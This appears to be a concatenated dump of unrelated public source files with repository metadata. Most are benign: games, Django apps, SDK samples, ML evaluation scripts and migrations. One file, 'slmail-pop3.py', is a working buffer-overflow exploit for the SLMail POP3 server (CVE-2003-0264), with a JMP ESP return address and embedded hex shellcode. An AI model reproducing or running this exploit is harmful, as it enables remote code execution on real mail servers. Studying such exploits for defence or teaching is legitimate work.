from random import randint print('Olá, caro jogador, sou o computador, e quero dispultar com você no Impar/Par.') v = 0 while True: jogador = int(input('Digita um número de 1 a 10: ')) cp = randint(0, 10) total = jogador + cp tipo = ' ' while tipo not in 'PI': tipo = str(input('Par ou ìmpar...
[ "agladejesus@gmail.com" ]
agladejesus@gmail.com
6b585b2fcc4e1b39e9ed6dbd006f975bf82030b4
0fe88e2bcf3015f6b54508b2304e9833bc7f7eb2
/skadi/index/__init__.py
df5fab35467894641108704a015acd8e8ae77318
[ "MIT" ]
permissive
gwvent/skadi
3d73ba6efbc32065599d2e0773f4783342cf5482
0b5c983a0a17e57d70fb64b2401caba40d43679a
refs/heads/master
2021-01-17T22:54:38.196692
2013-08-20T08:04:25
2013-08-20T08:04:25
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,355
py
import math VI_BIT_MAX = 35 VI_SHIFT = 7 VI_MAX_BYTES = int(math.ceil(float(VI_BIT_MAX) / VI_SHIFT)) VI_MASK = (1 << 32) - 1 class InvalidVarint(Exception): pass # Algorithm "borrowed" from Google protobuf library. def peek_varint(stream): peeked = stream.peek(VI_MAX_BYTES) size, value, shift = 0, 0, 0 w...
[ "joshua.a.morris@gmail.com" ]
joshua.a.morris@gmail.com
3144ecf342e1c38eb5c4bcf21135c183e9157eee
f576f0ea3725d54bd2551883901b25b863fe6688
/sdk/datashare/azure-mgmt-datashare/generated_samples/provider_share_subscriptions_adjust.py
496c049f7baa29e25e02b0ee6f7ed8ffa89deaa0
[ "LicenseRef-scancode-generic-cla", "MIT", "LGPL-2.1-or-later" ]
permissive
Azure/azure-sdk-for-python
02e3838e53a33d8ba27e9bcc22bd84e790e4ca7c
c2ca191e736bb06bfbbbc9493e8325763ba990bb
refs/heads/main
2023-09-06T09:30:13.135012
2023-09-06T01:08:06
2023-09-06T01:08:06
4,127,088
4,046
2,755
MIT
2023-09-14T21:48:49
2012-04-24T16:46:12
Python
UTF-8
Python
false
false
1,824
py
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
[ "noreply@github.com" ]
Azure.noreply@github.com
4b18b019b2ff1da71c7219f94ea175182cf795a4
bd14632342076a8099dbbd51c1b0c71bc8352b6a
/main.py
85a29f77583d8b29671e15d3c458dd515102c514
[ "MIT" ]
permissive
nlehuen/led_display
511fbb3f2d0260d4ae60f3a2e6a99d366d927281
6f77ac919f9f3d3972646a6f26907fefb79a3be2
refs/heads/master
2021-01-22T02:48:00.386193
2013-09-19T08:02:41
2013-09-19T08:02:41
5,821,282
1
0
null
null
null
null
UTF-8
Python
false
false
1,604
py
# -*- coding: utf-8 -*- import time import traceback import json from configuration import Configuration import animator import animations import importlib # Try to load Twitter animations try: import animations.tweet except ImportError: print "Please install twitter module from http://pypi.python.org/pypi/...
[ "nlehuen@google.com" ]
nlehuen@google.com
cd6ab3e5c6e2b23fd99f849a3780802dacbeb28a
e9c119c3da03b4347456091cc439aaedb07a4bdf
/python work week 9 question 2.py
576f46d5c72e8ca358a6752ef261406819195dd4
[]
no_license
infinityman8/week9-12-logbook
da8b1e5942f36b006f3e6bfc0b713623d862f247
4de033f3fcb0b69984a1ba0f4a0a654c386c4ec1
refs/heads/master
2020-04-07T13:52:27.005786
2018-12-04T17:44:12
2018-12-04T17:44:12
158,425,236
0
0
null
null
null
null
UTF-8
Python
false
false
144
py
def main(): a=5 b=7 print(mystery(a,b)) def mystery(x,y): z=x + y z= z / 2.0 return z main()
[ "noreply@github.com" ]
infinityman8.noreply@github.com
13319f9028ad09f1d990efba329a3d5162550bb6
2e682fd72e3feaa70e3f7bf2a3b83c50d783ec02
/PyTorch/dev/cv/image_classification/CSPResNeXt-50_ID1888_for_PyTorch/timm/models/layers/separable_conv.py
340f58362031b648a0361ac28d85bde369834876
[ "LicenseRef-scancode-proprietary-license", "LGPL-2.0-or-later", "Apache-2.0", "GPL-1.0-or-later", "BSD-3-Clause", "MIT", "CC-BY-NC-4.0", "BSD-2-Clause", "LicenseRef-scancode-generic-cla", "LicenseRef-scancode-unknown-license-reference" ]
permissive
Ascend/ModelZoo-PyTorch
4c89414b9e2582cef9926d4670108a090c839d2d
92acc188d3a0f634de58463b6676e70df83ef808
refs/heads/master
2023-07-19T12:40:00.512853
2023-07-17T02:48:18
2023-07-17T02:48:18
483,502,469
23
6
Apache-2.0
2022-10-15T09:29:12
2022-04-20T04:11:18
Python
UTF-8
Python
false
false
4,530
py
# # BSD 3-Clause License # # Copyright (c) 2017 xxxx # All rights reserved. # Copyright 2021 Huawei Technologies Co., Ltd # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain ...
[ "wangjiangben@huawei.com" ]
wangjiangben@huawei.com
21b5c899a32d5a276c1913f41db7bb2bdd4114a1
f4b2f6f8c82ba00a79712292cae159edd6e93316
/python_voc_parser/__init__.py
e8b5a4dd78a5f1211bf1167cf90337dde6e4acf9
[ "MIT" ]
permissive
gabrielrezzonico/python_voc_parser
31e5d016cce8a77e3cbd302f34f677ba1ca934c1
dd645402e40d3e18a33375f0fe92201013343110
refs/heads/master
2021-01-19T11:17:56.598529
2017-04-12T19:10:53
2017-04-12T19:10:53
87,950,887
7
4
null
null
null
null
UTF-8
Python
false
false
163
py
"""Utilities""" from . import helpers from . import voc_annotations_parser # Globally-importable utils. from .voc_annotations_parser import VocAnnotationsParser
[ "gabrielrezzonico@gmail.com" ]
gabrielrezzonico@gmail.com
df7f090efeff95de6885e079eb45d56b1f1a4a2d
1a8d1f8c16fb2842a0b0f71b7860f0bff8e6d257
/car_report/__manifest__.py
02c686e7de5aa9cc9cb002abd93c5923d5e67add
[]
no_license
vidtsin/odoo-leasing
85a288e4d47697591397b892cb65d911987aa991
5fd7a2fe23ae47d992bc03a9e474c08363c78b9e
refs/heads/master
2020-08-03T04:37:39.587593
2019-07-28T14:25:14
2019-07-28T14:25:14
null
0
0
null
null
null
null
UTF-8
Python
false
false
738
py
# -*- coding: utf-8 -*- { 'name': 'Car Report', 'version': '0.1', 'summary': 'Show car reports', 'sequence': 30, 'description': """ car ==================== The specific and easy-to-use car system in Odoo allows you to keep track of your vehicle. """, 'category': 'car', 'website': '', ...
[ "cedvict@gmail.com" ]
cedvict@gmail.com
f9911ba1ef369f850f1fe229f1de64f2c3a20c93
d49fd2040235f30e5701a997b2afcc4b123b82f1
/neighbourhood/views.py
513fb809d73e570ef76ba59f7bf262d4e1235690
[ "MIT" ]
permissive
ClintonClin/neighbourhood
830b9bd0b7e27308b54fedb432877191e6a3585e
509ba9702d67e5636aee9d754eaa41e57a52b61a
refs/heads/master
2022-12-11T08:23:08.690787
2019-02-28T10:57:05
2019-02-28T10:57:05
165,234,843
0
0
null
2022-12-08T03:00:45
2019-01-11T11:43:06
Python
UTF-8
Python
false
false
7,746
py
from django.shortcuts import render, redirect from django.http import HttpResponse, Http404, HttpResponseRedirect from django.contrib.auth.decorators import login_required from django.core.exceptions import ObjectDoesNotExist from .models import neighbourhood, healthservices, Business, Health, Authorities, BlogPost, Pr...
[ "clintonclin00@gmail.com" ]
clintonclin00@gmail.com
94661a6524510a11b67815c32e25b75865809f16
ff8f1bb7be35166965ca624681f5a522b60de306
/medical/migrations/0011_hivemedicalrecords_user.py
d96926b9bc913bd8a627d1877f0c5b6cac1215d9
[]
no_license
jonathanw82/thehoneycombAM
8f6b2e43d7c429b8dd1c4655e7212d4a5c9f7303
5a20efd9dcc6f81d1773c01c218a92732a815903
refs/heads/master
2023-04-10T06:33:48.462700
2021-04-12T11:40:56
2021-04-12T11:40:56
294,968,786
1
1
null
2021-02-16T14:25:58
2020-09-12T15:16:27
JavaScript
UTF-8
Python
false
false
521
py
# Generated by Django 3.1.3 on 2021-01-21 16:51 import django.contrib.auth.models from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('medical', '0010_auto_20210112_1633'), ] operations = [ migrations.AddField( model_name='hiveme...
[ "jonwhewaycode@outlook.com" ]
jonwhewaycode@outlook.com
4a1dff1fff68c27fb3452129c56f54a62957e1cf
716c453110217e4b478823940b6ce773fe837b3b
/BlogProject/school_project/users/forms.py
a8b4b32dc1500efcd07e0eadc0894aef874ace31
[]
no_license
Mateaus/blog_site
e9a46ac581a65c2b563ff18090480f775a5ad9cf
305bafbd18c2a260589da77d8e162fb36994357b
refs/heads/master
2020-05-07T11:59:47.008936
2019-04-11T17:42:58
2019-04-11T17:42:58
180,485,036
0
0
null
null
null
null
UTF-8
Python
false
false
652
py
from django import forms from django.contrib.auth.models import User from django.contrib.auth.forms import UserCreationForm from .models import Profile # changing form to include email field class UserRegisterForm(UserCreationForm): email = forms.EmailField() class Meta: model = User ...
[ "noreply@github.com" ]
Mateaus.noreply@github.com
29b750bb302001c9849c94b7e2eeb31a1216aadf
25a4df7d63285564159a2c9d5b48a66e767c09f9
/test_triangle.py
1ce21821c7abd08bbac558ff344f2410fb0a0767
[ "MIT" ]
permissive
philetus/superNormal
c82677c81359e92f33810660fa5aa45161004a71
b6df64c2ef4838b8a2080fae0be57cfee40ccf7a
refs/heads/master
2020-03-20T06:07:10.998229
2018-06-13T16:27:41
2018-06-13T16:42:02
137,239,304
0
0
null
2018-06-13T16:05:38
2018-06-13T16:05:38
null
UTF-8
Python
false
false
1,406
py
import glfw import OpenGL.GL as gl def main(): # Initialize the library if not glfw.init(): return # Create a windowed mode window and its OpenGL context window = glfw.create_window(640, 480, "Hello World", None, None) if not window: glfw.terminate() return # Make t...
[ "cheeriocheng@gmail.com" ]
cheeriocheng@gmail.com
bff704cfdcc8f2836f96e353d4860b781fb0d8a3
3793afb30d9e4ec39a75b2e5618cd6a2eaed0737
/portal system/synapse/synapse/rest/key/v1/server_key_resource.py
6df46969c4548ae5037bf6630d13f802cdf3c600
[ "Apache-2.0" ]
permissive
rubyspiderman/chatsystem_reactjs
16a49a2026b70d0556105b02248362bbbfbfc1f9
a20edf38b83fe8c2ee36c2a7f3e1f7263dd134e1
refs/heads/master
2021-01-01T05:18:08.870728
2016-05-13T08:33:59
2016-05-13T08:33:59
58,717,217
0
0
null
null
null
null
UTF-8
Python
false
false
2,996
py
# -*- coding: utf-8 -*- # Copyright 2014, 2015 OpenMarket Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
[ "rubyspiderman@hotmail.com" ]
rubyspiderman@hotmail.com
3459276818ce07479d8a250a648e51b33e116764
c9ca065c2674ca30c12a90ceab88ac5798646473
/weather/weather.py
0911597edd9300a64cc9034898c72555e919512b
[]
no_license
mshazman/data_munging
beaa389ad3de48d52f1f2ef03ed4ba7f04c77698
f4f815a896f8f7a6957ebbb22369dd760e95072e
refs/heads/master
2020-07-23T17:03:01.970331
2019-09-10T19:07:20
2019-09-10T19:07:20
207,640,211
0
0
null
null
null
null
UTF-8
Python
false
false
590
py
"""This Module have class to perform all calculation realted to weather""" import calculation class WeatherCalculation(calculation.Computation): """class object takes data in form of dictionary and apply functions on it""" def __init__(self, weather_data): self.weather_data = weather_data def min...
[ "=" ]
=
523d338761f9c0eeceeea3dc1511eeec56a1d292
2cef2c608bde91a8e2deb4f88d62e164fce9a0e3
/4 - sprites and animations/Codebeispiele/first_sprite.py
493830ae10edf48a32b7a4e9df3906a845dee76f
[]
no_license
mimuc/mmp-ss21
3be6c67e1951f673e5a28d1c1fd44fe2dfe4cb47
e20c5363b0ddf1866b7b7c044da7bb9a8330af20
refs/heads/master
2023-05-31T07:43:44.275815
2021-06-21T11:58:13
2021-06-21T11:58:13
355,538,628
5
5
null
null
null
null
UTF-8
Python
false
false
652
py
import pygame from pygame.locals import * class Box(pygame.sprite.Sprite): def __init__(self, color, initial_position): pygame.sprite.Sprite.__init__(self) self.image = pygame.Surface((20,20)) self.image.fill(color) self.rect = self.image.get_rect() self.rect.topleft = initi...
[ "florian.bemmann@ifi.lmu.de" ]
florian.bemmann@ifi.lmu.de
574e6816db82fec92e4c415548263fb7ef3a52d2
ab149b8f1f20bf2212bead49fdf5bd6bf5330b89
/model/encoder.py
f5b18c46738890812e0f004126797488274a0a76
[ "MIT" ]
permissive
wheeltune/kid-neuro
69ecf08717d82660cf0e6eccd406c0cad9f24f1e
131ec888e4f0c3ee1d7b4c4ebf57a6b1d5323d8a
refs/heads/main
2023-06-04T06:07:45.074418
2021-06-21T23:54:27
2021-06-21T23:54:27
375,545,888
0
0
null
null
null
null
UTF-8
Python
false
false
1,559
py
import torch.nn as nn from .norm_layer import NormLayer __all__ = ["KeystrokesEncoder"] #=============================================================================== class KeystrokesEncoder(nn.Module): #--------------------------------------------------------------------------- def __init__(self, d_code...
[ "wheeltune@gmail.com" ]
wheeltune@gmail.com
ff4ba646859730beeecd4cb569fbc5a89f48be03
ce7bb5ba72569d1503a54551ce99bb45addd9d15
/components/main window (1).py
c3e235727794891b14f8b40a59c1877b74f24f77
[]
no_license
vic025/todo
4fe620ace4704cacfba270494782a166bfd2aa5a
56872e1de1ae12fd2c8c10ac3055737372ae3445
refs/heads/master
2023-07-01T17:58:23.010349
2021-08-06T23:06:37
2021-08-06T23:06:37
363,345,349
0
0
null
null
null
null
UTF-8
Python
false
false
2,021
py
# GUI of main window without functionality import tkinter as tk from tkinter.font import Font from tkinter import * from tkmacosx import Button, CircleButton from PIL import Image, ImageTk root = tk.Tk() root.title('To-do List') root.geometry('370x500+600+75') root.resizable(False, False) # Title (1) # Font size and...
[ "v1q025@gmail.com" ]
v1q025@gmail.com
eab2e26261a3cbc0a255243129e8e1698d3489e8
7f6e573bfe32c1085311a13c79f7c1e2d7a83f79
/00977 - Squares of a Sorted Array/solutions.py
dcc18552d2afcdc3ec33bd0f108a38b8b4318d50
[]
no_license
ngoyal16/LeetCode
0b7366c566996422ca7b89c3b0540e494aab4e9f
747b902224bd3ded576a67c926cc1fbb458a97d3
refs/heads/master
2022-12-10T08:34:19.590452
2022-12-07T08:28:05
2022-12-07T08:28:05
175,677,750
0
0
null
null
null
null
UTF-8
Python
false
false
198
py
class Solution(object): def sortedSquares(self, A): """ :type A: List[int] :rtype: List[int] """ return map(lambda x: x * x, sorted(A, key=abs))
[ "noreply@github.com" ]
ngoyal16.noreply@github.com
0fdfd0a2fe0d2384fb8bf820f0da8991e1d1fce7
0a6f6cf66643975895b099004d45aeef6c454c0f
/sshc/modelPredict.py
8a20d7116d5d2059355091de88d95c096d89c681
[]
no_license
hpqcp/Dryer-Project1
1f2a1d8bb22f1ab2af00087e9130a691e6cb052f
a0fbad8a45d6d03919cdc9f32d53da9879a7c36b
refs/heads/master
2020-04-29T02:17:06.052118
2020-02-25T06:42:27
2020-02-25T06:42:27
175,760,880
0
0
null
null
null
null
UTF-8
Python
false
false
5,810
py
# # # import pandas as pd # # #return: 训练后模型 , 标准化对象X , 标准化对象y def randomForest_model(_xTrain: object, _yTrain: object) -> object: from sklearn.preprocessing import StandardScaler from sklearn.ensemble import RandomForestRegressor # 训练数据和测试数据进行标准化处理 ss_x = StandardScaler() x_train = ss_x.fit_tran...
[ "14499382@qq.com" ]
14499382@qq.com
cb8e8814cc62f4c8391fcb723e8027d1860d330b
e8c16328e22b8ccda2e3d2998d2ec1689d79914b
/exercise_2017/5th_week/test_1.py
0ea44957c76a9923802c513c58e5213bc91b5f64
[ "MIT" ]
permissive
Taewan-P/python_study
e2e68cc0f1467832dace22e27cc70d217560cf2c
f347e370aaa33aba5ab233252bcd759b94615348
refs/heads/master
2021-05-11T03:44:04.495186
2018-01-18T03:02:31
2018-01-18T03:02:31
117,923,881
0
0
null
null
null
null
UTF-8
Python
false
false
548
py
def gcd1_2(m,n): print("gcd1_2") def loop(m, n, k): print("gcd1_2, loop",m,n,k) if not(m==0 or n==0): if m%2==0 and n%2==0: return loop(m//2,n//2,k*2) #오류 발생시 여기 확인!!(빈칸 있는 부분 k) elif m%2==0 and n%2==1: return loop(m//2,n,k) elif m%2==1 and n%2==0: return loop(m,n//2,k) elif m<=n:...
[ "swimtw@naver.com" ]
swimtw@naver.com
dbce7481439b0de5401a7b81de4c4d300404aa6b
6388104b646b304a081985216ad2f82f09db2af3
/slmail-pop3.py
67f374a5ffac594a45f6cfba7a7c22230d03e945
[]
no_license
war4uthor/CVE-2003-0264
73bd207d3f989434be942982d344285633f6fc48
82352386a3e740db37f84ebbaed2632965c4c0a8
refs/heads/master
2020-04-12T12:41:00.763220
2018-12-19T22:50:30
2018-12-19T22:50:30
162,499,093
0
0
null
null
null
null
UTF-8
Python
false
false
1,955
py
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 5F4A358F FFE4 JMP ESP shellcode = ( "\xb8\x9a\x26\x16\x98\xd9\xcd\xd9\x74\x24\xf4\x5a\x33\xc9\xb1" "\x52\x83\xea\xfc\x31\x42\x0e\x03\xd8\x28\xf4\x6d\x20\xdc\x7a" "\x8d\xd8\x1d\x1b\x07\x3d\x2c\x1b\x73\x36\x1f\xab\xf7\...
[ "root@localhost.localdomain" ]
root@localhost.localdomain
cc5c849e8b995ce39d61d9943324e59b7c3290cd
553cced42ec61dc58753a6cc3e108a7c0695962c
/04-QWidget-焦点控制.py
c17715f3bc0b0c6c447b62bc46d218cd2e8b0116
[]
no_license
dongsen2019/pyqt5
4023bbff61310e6f2cf92cbdf5d4d960a7705f4c
a5c166d28718119bdd2d1c2a2860e3dfeb936414
refs/heads/master
2023-01-29T22:24:50.702505
2020-12-13T12:01:55
2020-12-13T12:01:55
300,865,106
0
0
null
null
null
null
UTF-8
Python
false
false
2,265
py
# 0. 导入需要的包和模块 from PyQt5.Qt import * import sys class Window(QWidget): def mousePressEvent(self, evt): # print(self.focusWidget()) # self.focusNextChild() # self.focusPreviousChild() self.focusNextPrevChild(True) """ focusWidget() 获取当前窗口内部, 所有子控件当中获取焦点的那个控件 focusNextChi...
[ "378250523@qq.com" ]
378250523@qq.com
1c08ed7ab24404b2203e81b4ad894448a0dedbfd
efd4e7d85e2ae17853513e846ffce08288e3ff7b
/My_profile/urls.py
2abf6fd7317aee120b4a64f0256870f5a5802713
[]
no_license
bodawalan/Django_blog
e033bbb5547f17b668f2a582f71700f4a1353184
43b9505708a18dbb9da28cad020f1ae90d5a0e0e
refs/heads/master
2021-01-19T11:29:42.448736
2017-04-12T20:06:21
2017-04-12T20:06:21
87,970,789
0
0
null
null
null
null
UTF-8
Python
false
false
268
py
from django.conf.urls import url,include from django.contrib import admin from My_profile import views urlpatterns = [ #url(r'^', views.Name_view), url(r'^address', views.Address_view), url(r'^contact', views.contact), url(r'^', views.Name_view), ]
[ "nishit687539@gmail.com" ]
nishit687539@gmail.com
dcfd08920d5d8dc25f09f1674d7a69c10ecedbb1
1bed2f766620acf085ed2d7fd3e354a3482b8960
/tests/components/sensibo/test_entity.py
818d9ddb92499f60c743ebd9a3a8e50177e03817
[ "Apache-2.0" ]
permissive
elupus/home-assistant
5cbb79a2f25a2938a69f3988534486c269b77643
564150169bfc69efdfeda25a99d803441f3a4b10
refs/heads/dev
2023-08-28T16:36:04.304864
2022-09-16T06:35:12
2022-09-16T06:35:12
114,460,522
2
2
Apache-2.0
2023-02-22T06:14:54
2017-12-16T12:50:55
Python
UTF-8
Python
false
false
2,826
py
"""The test for the sensibo entity.""" from __future__ import annotations from unittest.mock import patch from pysensibo.model import SensiboData import pytest from homeassistant.components.climate.const import ( ATTR_FAN_MODE, DOMAIN as CLIMATE_DOMAIN, SERVICE_SET_FAN_MODE, ) from homeassistant.componen...
[ "noreply@github.com" ]
elupus.noreply@github.com
45ee8e725516dbf7e4470dd77fffccc3827108a8
98897a706b48f40ac34cf6d1722e086bd87043ff
/analysis_everglades/game_logic/test_battle.py
fa4026e51646220353ca57eb39ad74a07ab9862b
[]
no_license
shaunhyp57/everglades
dae28fb1695443fb6bb0a1e7c81d50b320dba400
e4aab93d7fe8147ed3917605b2755ed429884b84
refs/heads/master
2022-04-25T03:07:24.999084
2020-04-27T16:32:12
2020-04-27T16:32:12
238,527,762
0
0
null
null
null
null
UTF-8
Python
false
false
1,750
py
## Static Imports import os import importlib import gym import gym_everglades import pdb import numpy as np from everglades_server import server ## Input Variables # Agent files must include a class of the same name with a 'get_action' function # Do not include './' in file path agent0_file = 'agents/base_rushV1.py'...
[ "shaunhyp57@knights.ucf.edu" ]
shaunhyp57@knights.ucf.edu
5311ad2fb6847110b4a1606ef629ada8e3ae8b27
688ae097a1f413f82c4a4f2840153e261a8504d4
/main.spec
c69f5a6d2fd675096c0caa96c2e7cf7cb3a26355
[ "MIT" ]
permissive
Danverr/DeliveryCalc
f1225401db3e47733199044800f6752c06933550
c4384fc2a991817e09707288006937bd45183d71
refs/heads/master
2020-09-16T01:53:49.359474
2019-11-23T16:12:38
2019-11-23T16:12:38
223,615,248
0
0
null
null
null
null
UTF-8
Python
false
false
1,240
spec
# -*- mode: python -*- block_cipher = None a = Analysis(['DeliveryCalc.py'], pathex=['.'], binaries=[], hiddenimports=['Code/*.pyd'], hookspath=[], runtime_hooks=[], excludes=[], win_no_prefer_redirects=False, ...
[ "noreply@github.com" ]
Danverr.noreply@github.com
905d02d242aba18398fcd2c714f97a9507bde437
424c3cff38aab3895a277de6a08dc0592ecd42e7
/main.py
44158692bb56951d5b8312b0c986e74fc8eb21bf
[]
no_license
kevinjavila/Snake-Game
90718497961d92c268da8ebd5255eb080cc975d2
78bc5ba524662209a2a95510839bcd52f7b322c1
refs/heads/master
2023-08-26T06:57:57.485186
2021-10-26T21:05:07
2021-10-26T21:05:07
null
0
0
null
null
null
null
UTF-8
Python
false
false
6,748
py
import random import pygame class Cube: rows = 20 w = 500 def __init__(self, start, dirnx = 1, dirny = 0, color = (255, 0, 0)): self.pos = start self.dirnx = 1 self.dirny = 0 self.color = color def move(self, dirnx, dirny): self.dirnx = dirnx self.dirny...
[ "kevinavila32@gmail.com" ]
kevinavila32@gmail.com
9e1bdaa9a0888f3ccb9eba4f462b36b5688e2936
2bf1ffde9ed692e27c34d23b67babd95f8f5644d
/tests/test_naming.py
6fa54b180e6d20e00b54c2fda549cc654ac5e57b
[ "MIT" ]
permissive
pvrk/python_backup
9dea3d657e619902aebbdcfc236b4eac9c302609
d61af53490c791bac1226062af7744a69b335ce9
refs/heads/master
2022-03-21T06:25:11.638414
2019-12-17T17:50:25
2019-12-17T17:50:25
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,233
py
# ------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. # -------------------------------------------------------------------------- """Unit tests for Naming.""" import unittest from asebackupcli.naming im...
[ "chgeuer@microsoft.com" ]
chgeuer@microsoft.com
d8620bee26ddf112e526f48d44d148a31175bc96
87fe3804869e2443c14317d766a5f8716afcd5d5
/scripts/form_vocab.py
91f0f437c6d7c6af9304603454eb1f3585f4c7c5
[]
no_license
heidonomm/mhopRL
dbfd296dddf87507f6bb19d58b459a4df181ea57
93db4dda4646412f1783a6e05f9b779005539a2f
refs/heads/master
2023-04-15T04:56:44.464898
2021-04-16T07:29:20
2021-04-16T07:29:20
344,776,721
0
0
null
null
null
null
UTF-8
Python
false
false
2,936
py
import nltk from nltk import word_tokenize from nltk import WordNetLemmatizer import json import string # q_string = '{"id": "3NGI5ARFTT4HNGVWXAMLNBMFA0U1PG", "question": {"stem": "Climate is generally described in terms of what?", "choices": [{"text": "sand", "label": "A"}, {"text": "occurs over a wide range", "lab...
[ "heidonomm@gmail.com" ]
heidonomm@gmail.com
e7df89bb363a64317c365f5f45a13d4c5a2e4096
a6c40c08da73bb1c65b48ce62ab6d035aa22fb41
/cleaner.py
bf4b23c67d8b90905f2535e876ce701dd078ceaa
[]
no_license
SebasGarcia08/face-extractor
f279915a21fce2170f0b266378da10f7626c94a7
d999518b27a19b149b43be494ec68578c38ab033
refs/heads/master
2022-11-04T20:19:15.528249
2020-06-10T15:55:30
2020-06-10T15:55:30
269,957,990
0
0
null
null
null
null
UTF-8
Python
false
false
15,456
py
from argparse import ArgumentParser import insightface import cv2 import os import logging import traceback import shutil from tqdm import tqdm, tqdm_gui import time import numpy as np import tensorflow as tf from tensorflow.keras.applications.mobilenet_v2 import preprocess_input from tensorflow.keras.preprocessing.ima...
[ "segaracos@outlook.com" ]
segaracos@outlook.com
730e91b4e0c6f30bc58e9e97cc1c8d759cb3c311
3cc416df0c4697aa0f2dffb4d94e89f5cb62ec0e
/api/hypem/urls.py
baef22a54a09b3ed3a47056df93c2fb6c183a468
[]
no_license
guess/hypem
308ed022839e603056467ac9bff36b33cef438a5
028aaec7007fdf9d0f593cac463b7a5cd91b36b1
refs/heads/master
2016-09-10T14:33:04.402081
2015-03-07T20:21:41
2015-03-07T20:21:41
31,442,249
2
0
null
null
null
null
UTF-8
Python
false
false
227
py
from django.conf.urls import patterns, include, url from django.contrib import admin urlpatterns = patterns('', url(r'^admin/', include(admin.site.urls)), url(r'^(\w+)/(\w+)/(\d+)', 'hypem.views.home', name='home'), )
[ "stevetsourounis@gmail.com" ]
stevetsourounis@gmail.com
c4ce2e6ba48d68bd21ff577fd3d57c7571c05689
50e6d7c4f7c3fe5127f4cc4634d6e9acdf8f5e17
/evaluate_cpu_only.py
cb4b463f79c79755652b1a74c1effe49460c817c
[ "MIT" ]
permissive
Tiamat-Tech/gcn-cnn
907500a2cd4b42a1d5e43192b1b09956db02ccbd
6f9c685dd9ac9567746aa1904e549ecc00a7a712
refs/heads/master
2023-03-17T17:06:54.800458
2021-03-09T19:30:09
2021-03-09T19:30:09
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,552
py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Wed Nov 20 11:01:07 2019 Compute the performance metrics for graphencoder model performance metrics includes iou, pixelAccuracy @author: dipu """ import torch from torchvision import transforms import torch.nn.functional as F import pickle from scipy.spat...
[ "dips4717@gmail.com" ]
dips4717@gmail.com
cef0851b730719e6ec2ecdb6c1260034484790a2
ce6df0cd2a21fd98d2a58793816f8be09658c73a
/loop.py
98c95cd9761441e221a66e2e76c2e57395b90e8e
[]
no_license
MikeTheFyke/Python
5ee6de684a0985fb28829da16982fe039884426e
5fde6be8e8f1c5b90028a5dcd5f39bc149cdaca4
refs/heads/master
2021-01-05T09:00:08.564586
2020-03-03T21:47:05
2020-03-03T21:47:05
240,965,364
0
0
null
null
null
null
UTF-8
Python
false
false
1,517
py
rockosML = [ "Rocko Rama", "Spunky", "Heffer Wolfe", "Ed BigHead", "Bev BigHead", "Filburt Turtle", "Earl The Dog", "Paula Hutchison" ] print("\n--This is the start of the list--") # Indenting in Python can define end points for for loops. for name in rockosML: print name print("---...
[ "mikefyke@hotmail.com" ]
mikefyke@hotmail.com
947921228a07d1818a52f9c16c3e1ce5adc60daa
1fe1ee2f53c004f804e9fe69e6615d3897b63615
/Snake/scoreboard.py
09ce5b4d4a78cabf6605f7dc4adb6329f392d0ca
[]
no_license
jguillermo19/Python_Codigos
396083da6d807a5af6170b6b7e52537ab530754a
b48ebfacacab79c9390a9119992d76ebb10ffbc1
refs/heads/main
2023-08-18T23:23:45.932209
2021-09-15T20:47:44
2021-09-15T20:47:44
402,956,446
0
0
null
null
null
null
UTF-8
Python
false
false
798
py
from turtle import Turtle, update ALIGNMENT = "center" FONT = ("Courier",15,"normal") class Scoreboard(Turtle): def __init__(self): super().__init__() self.score = 0 self.color("white") self.penup() # No dibujar linea self.goto(0,270) # Posicion se...
[ "jsandovalh1500@alumno.ipn.mx" ]
jsandovalh1500@alumno.ipn.mx
ae30769610e5c080ac853d5fd9ad989664a4ac12
260aa7c38bfbae2bf7bdc17ab4e178f93bd60ec6
/week8/Simple Project/blog/migrations/0001_initial.py
781ab23cd2d83f79a2b17f7edffbccb747435a06
[]
no_license
Orik236/Web_Orka236
0fe177febe193821f62cf3687865a11799662e13
49ddf61de35213be490b4aa08ad041231fe584e7
refs/heads/master
2023-01-09T22:22:40.846945
2020-04-16T22:47:38
2020-04-16T22:47:38
247,916,965
0
0
null
null
null
null
UTF-8
Python
false
false
1,048
py
# Generated by Django 2.2.11 on 2020-03-16 18:07 import datetime from django.conf import settings from django.db import migrations, models import django.db.models.deletion from django.utils.timezone import utc class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappab...
[ "orik236@gmail.com" ]
orik236@gmail.com
21c08f1cc6e33c90dd171f8ca67a5a0a1ef54b06
4f2dd2feb3d7a62c382534a563e4d823a324e5d9
/src/imgUpload/views.py
3038919b64f4ecdd9fa25f5b24356148eed74dc9
[ "MIT" ]
permissive
codezerro/Django-Dev-To-Development-2
fc727d72fea3af19e15bc42429a50e159760252b
5e0780d2bdd8d3c5526a7cf813b14216336ed5f2
refs/heads/master
2022-12-21T23:29:35.655252
2020-09-22T02:31:49
2020-09-22T02:31:49
296,371,171
0
0
null
null
null
null
UTF-8
Python
false
false
149
py
from django.shortcuts import render # Create your views here. def imgCompress(request): return render(request, 'imgupload/index.html')
[ "kabircp08@gmail.com" ]
kabircp08@gmail.com
93c947a317a1de8748f771cbb780924f92ae327a
ece7df4bc7425be27a55dc74f64c8d360454efb0
/01_functions_are_objects.py
6f911c0b6382b7a4a403190bc6a9b42f008389d6
[]
no_license
zacniewski/Decorators_intro
81321334fbce5638e0735e3c59a767bac3bd2d5a
e51a9ebcedcea29ac18d075747bd16a047c7af05
refs/heads/master
2021-01-14T11:25:34.143649
2014-01-02T10:54:08
2014-01-02T10:54:08
null
0
0
null
null
null
null
UTF-8
Python
false
false
678
py
